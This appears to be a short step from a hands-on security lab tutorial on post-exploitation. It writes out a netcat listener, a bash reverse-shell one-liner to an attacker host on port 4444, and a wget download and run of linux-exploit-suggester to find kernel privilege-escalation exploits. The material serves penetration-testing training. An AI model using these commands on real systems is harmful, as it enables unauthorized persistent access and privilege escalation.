Post-Exploitation and Privilege Escalation
In this step, we will attempt to maintain access and escalate privileges on the target system after successful exploitation.
Assuming you have gained access to the target system through a vulnerability, the next step is to establish a persistent backdoor or reverse shell. This will allow you to maintain access to the system even if the initial vulnerability is patched.
One way to establish a reverse shell is to use the netcat
utility. On the Kali Linux container, run the following command:
nc -lvnp 4444
This command will listen on port 4444 for incoming connections.
On the target system, execute the following command to establish a reverse shell:
bash -c 'bash -i >& /dev/tcp/<Kali IP>/4444 0>&1'
Replace <Kali IP>
with the IP address of your Kali Linux container. You can use ifconfig
to find the IP address of your container.
Once the reverse shell is established, you can attempt to escalate privileges on the target system. One common technique is to search for privilege escalation vulnerabilities using the linux-exploit-suggester
tool:
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh > /home/labex/linux-exploit-suggester.txt
This script will analyze the target system and suggest potential kernel exploits that could be used for privilege escalation.